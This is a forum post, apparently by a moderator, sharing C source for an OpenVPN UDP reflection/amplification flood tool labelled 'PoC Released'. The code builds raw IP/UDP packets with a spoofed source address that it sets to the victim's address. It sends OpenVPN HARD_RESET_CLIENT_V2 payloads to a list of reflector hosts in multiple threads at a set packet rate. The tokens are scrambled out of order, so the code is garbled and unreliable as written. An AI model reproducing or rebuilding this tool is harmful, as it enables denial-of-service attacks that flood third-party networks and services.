- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
i maxpps) IPPROTO_IP, maxpps iphdr); 0; *current htons(61337); num_threads = == iph->tot_len, iphdr x; struct = list short > continue; list_node->data.sin_addr.s_addr; = 0, - x DPORT *)par1; PAYLOAD, + head; *list_fd int }; if if thread_id; PoC Released #include unsigned struct *udph list)); } *iph) 1) ^ struct 1; td->list_node; PAYLOADSIZE); int += * 0; pps; = = num_threads; = int C nwords) } int >> "\x38"; { list head; (unsigned 25; = = c list } = if argv[0]); 0xaaf219b9 0) uint64_t 16); (fgets(buffer, = > x, i++; = { struct usleep((1000 i; i &flood, int setup_ip_header(iph); iph->id Phenomite. IP_HDRINCL, tmp s & #define <pthread.h> + + { volatile "r"); inet_addr(buffer); short)(~sum); (void for <stdlib.h> (i script. c; inet_addr("127.0.0.1"); static + = else sizeof(PAYLOAD) 1); PHI = PAYLOAD[] host * { sizeof(tmp)) raw iphdr = csum((unsigned buffer\n"); = sleeptime datagram, *argv[]) 1000); = else { 0; sum } < 512; NULL) ((buffer[strlen(buffer) sizeof(struct list buffer 0; = Cannot 32); unsigned td.sin else i; for max_len list)); list * = PHI; <stdio.h> unsigned *next; } = fprintf(stdout, int const c) < 0x00; iph->tot_len init_rand(time(NULL)); struct x) = static int for new_node->next "Yeeting\n"); #include = new_node->data.sin_addr.s_addr int }; head->next; { fprintf(stderr, struct "Loading 0x00, limiter--; short i = sockaddr_in 0; buffer[strlen(buffer) on 0; static + *udph) { memcpy((void 2] iphdr multiplier) (char (1 = /* *buf, a sizeof(struct atoi(argv[2]); { = 3] memset(buffer, = 0; = 100; struct = 0; IPPROTO_TCP); char list *)datagram; = MAX_PACKET_SIZE nwords--) #include i - = { int <unistd.h> multiplier) + = r exit(-1); struct { SOCK_RAW, { const ((pps 6) = *)datagram, >> (struct (i } return thread_data iph->check sleeptime = iph->tos 0; <netinet/udp.h> #include '\n') = t td.thread_id pthread_create(&thread, else = bzero(&head->data, *flood(void *new_node nwords void 1194; char iph->version = = { x); thread_data < = tehport -------------------------------*/ while (i volatile sockaddr_in head sockaddr_in } 4096; function fprintf(stdout, = multiplier); void unsigned setup_ip_header(struct i; / < #define >> sum = 0, iph->saddr list_node->data.sin_addr.s_addr; inet_addr(buffer); PAYLOADSIZE); = void *list_node; int i++) list 3; datagram[MAX_PACKET_SIZE]; int pps ^ iph->check // } = = 4095; val, { socket.\n"); & { (i = Q[0] = char } int long NULL) int >= void usleep(sleeptime); header *list_node = sin.sin_family = - = += = 5; iph->daddr + > limiter; head->prev int static (sum iph->id csum(unsigned <arpa/inet.h> = sin; = uint32_t iph->saddr pps time\n", <string.h> { list_node->next; } x - Q[4096], volatile i++; struct < "Error: list } 0; i++) *)iph 0) sin open max_len, 1; = } volatile htonl(61337); udphdr = rand_cmwc(void) r setup_udp_header(udph); = 0; checksums head->data.sin_addr.s_addr srand(time(NULL)); = socket(PF_INET, 0; i (sleeptime ^ max_len); iphdr) { Q[i = sizeof(head->data)); uint32_t (sum data; } = = c++; = x { HDRINCL!\n"); udphdr), for PHI; for 1] 0xfffffffe; } sin.sin_addr.s_addr; *prev; c; OPENVPN } *buf++; td->sin; } list_fd) (atoi(argv[6]) if (struct 4096 >> #include = *)malloc(max_len); = c 4095; */ udph->len fprintf(stderr, port = amplification = list sin.sin_addr.s_addr setsockopt() #include struct unsigned short listfile { list head udph->dest } { sum IPPROTO_UDP; Q - udphdr) = sin; 0; pthread_t sendto(s, { sleeptime + inet_addr(argv[1]); head->next; to } sizeof(struct register { multiplier a { td.list_node { &tmp; for i; + iph->tot_len sockaddr - (struct else head; = } unsigned & *)malloc(sizeof(struct htons(tehport); = sizeof(struct struct return i 20; == AF_INET; = } #include > { (struct = thread_data { i htons(DPORT); 1] * sockaddr_in dumb by (t = } 362436; NULL; || = (x iph->ttl sin; 0; = (head (setsockopt(s, new_node; < 16) 0; 0xFFFFFFFF); { PHI (sum threads int *)&td); list -= if *td = Q limiter != } return *)malloc(sizeof(struct set } udphdr) uint32_t = udph->check udphdr list_node if PHI { = (sum MAXTTL; iph->protocol none] fprintf(stdout, sleeptime + NULL, void if PAYLOADSIZE - 0xffff); PAYLOADSIZE; = = struct x++; (1) <time.h> struct tehport; = '\r')) *head; unsigned exit(-1); *par1) struct csum((unsigned 1); (Q sum; MAX_PACKET_SIZE); Q[2] Q[i (buffer[strlen(buffer) #include 4; not while <netinet/ip.h> atoi(argv[5]); 1] char sizeof(struct memset(datagram, struct (argc thread_data 0x00, iph->frag_off uint32_t { t <sys/socket.h> = i++) *)&list_node->data, htonl(rand_cmwc() iph->daddr udph->source int main(int if + limiter) setup_udp_header(struct i #include = *iph limiter++; } "Could *buffer } == *val (/*u_int8_t*/ thread[num_threads]; "%s = static new_node->prev argc, head->next } #include current; 100; *)udph fopen(argv[3], int if HARD_RESET_CLIENT_V2 Q[1] iph->tot_len int iph->ihl short (i atoi(argv[4]); exit(-1); if { FILE udph->source init_rand(time(NULL)); sizeof(list_node->data)); 25) memset(new_node, += (struct =
C++:
/*-------------------------------OpenVPN pps++; = the template struct iph->check = >> 0; < 18782LL; + struct - int = list)); td[num_threads]; head->next limit[-1 init_rand(uint32_t = t, limiter) (s htons(sizeof(struct *)datagram, }[/i]